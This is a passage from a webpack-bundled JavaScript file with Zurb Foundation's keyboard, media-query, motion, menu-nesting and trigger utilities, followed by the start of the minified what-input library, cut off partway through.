./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n * @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * @module foundation.motion\n */\n\nvar initClasses = ['mui-enter', 'mui-leave'];\nvar activeClasses = ['mui-enter-active', 'mui-leave-active'];\nvar Motion = {\n animateIn: function animateIn(element, animation, cb) {\n animate(true, element, animation, cb);\n },\n animateOut: function animateOut(element, animation, cb) {\n animate(false, element, animation, cb);\n }\n};\n\nfunction Move(duration, elem, fn) {\n var anim,\n prog,\n start = null; // console.log('called');\n\n if (duration === 0) {\n fn.apply(elem);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n return;\n }\n\n function move(ts) {\n if (!start) start = ts; // console.log(start, ts);\n\n prog = ts - start;\n fn.apply(elem);\n\n if (prog < duration) {\n anim = window.requestAnimationFrame(move, elem);\n } else {\n window.cancelAnimationFrame(anim);\n elem.trigger('finished.zf.animate', [elem]).triggerHandler('finished.zf.animate', [elem]);\n }\n }\n\n anim = window.requestAnimationFrame(move);\n}\n/**\n * Animates an element in or out using a CSS transition class.\n * @function\n * @private\n * @param {Boolean} isIn - Defines if the animation is in or out.\n * @param {Object} element - jQuery or HTML object to animate.\n * @param {String} animation - CSS class to use.\n * @param {Function} cb - Callback to run when animation is finished.\n */\n\n\nfunction animate(isIn, element, animation, cb) {\n element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element).eq(0);\n if (!element.length) return;\n var initClass = isIn ? initClasses[0] : initClasses[1];\n var activeClass = isIn ? activeClasses[0] : activeClasses[1]; // Set up the animation\n\n reset();\n element.addClass(animation).css('transition', 'none');\n requestAnimationFrame(function () {\n element.addClass(initClass);\n if (isIn) element.show();\n }); // Start the animation\n\n requestAnimationFrame(function () {\n element[0].offsetWidth;\n element.css('transition', '').addClass(activeClass);\n }); // Clean up the animation when it finishes\n\n element.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"transitionend\"])(element), finish); // Hides the element (for out animations), resets the element, and runs a callback\n\n function finish() {\n if (!isIn) element.hide();\n reset();\n if (cb) cb.apply(element);\n } // Resets transitions and removes motion-specific classes\n\n\n function reset() {\n element[0].style.transitionDuration = 0;\n element.removeClass(\"\".concat(initClass, \" \").concat(activeClass, \" \").concat(animation));\n }\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.motion.js?")},"./js/foundation.util.nest.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Nest\", function() { return Nest; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\n\nvar Nest = {\n Feather: function Feather(menu) {\n var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'zf';\n menu.attr('role', 'menubar');\n var items = menu.find('li').attr({\n 'role': 'menuitem'\n }),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\"),\n applyAria = type !== 'accordion'; // Accordions handle their own ARIA attriutes.\n\n items.each(function () {\n var $item = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $sub = $item.children('ul');\n\n if ($sub.length) {\n $item.addClass(hasSubClass);\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': ''\n });\n\n if (applyAria) {\n $item.attr({\n 'aria-haspopup': true,\n 'aria-label': $item.children('a:first').text()\n }); // Note: Drilldowns behave differently in how they hide, and so need\n // additional attributes. We should look if this possibly over-generalized\n // utility (Nest) is appropriate when we rework menus in 6.4\n\n if (type === 'drilldown') {\n $item.attr({\n 'aria-expanded': false\n });\n }\n }\n\n $sub.addClass(\"submenu \".concat(subMenuClass)).attr({\n 'data-submenu': '',\n 'role': 'menubar'\n });\n\n if (type === 'drilldown') {\n $sub.attr({\n 'aria-hidden': true\n });\n }\n }\n\n if ($item.parent('[data-submenu]').length) {\n $item.addClass(\"is-submenu-item \".concat(subItemClass));\n }\n });\n return;\n },\n Burn: function Burn(menu, type) {\n var //items = menu.find('li'),\n subMenuClass = \"is-\".concat(type, \"-submenu\"),\n subItemClass = \"\".concat(subMenuClass, \"-item\"),\n hasSubClass = \"is-\".concat(type, \"-submenu-parent\");\n menu.find('>li, > li > ul, .menu, .menu > li, [data-submenu] > li').removeClass(\"\".concat(subMenuClass, \" \").concat(subItemClass, \" \").concat(hasSubClass, \" is-submenu-item submenu is-active\")).removeAttr('data-submenu').css('display', '');\n }\n};\n\n\n//# sourceURL=webpack:///./js/foundation.util.nest.js?")},"./js/foundation.util.triggers.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Triggers\", function() { return Triggers; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in 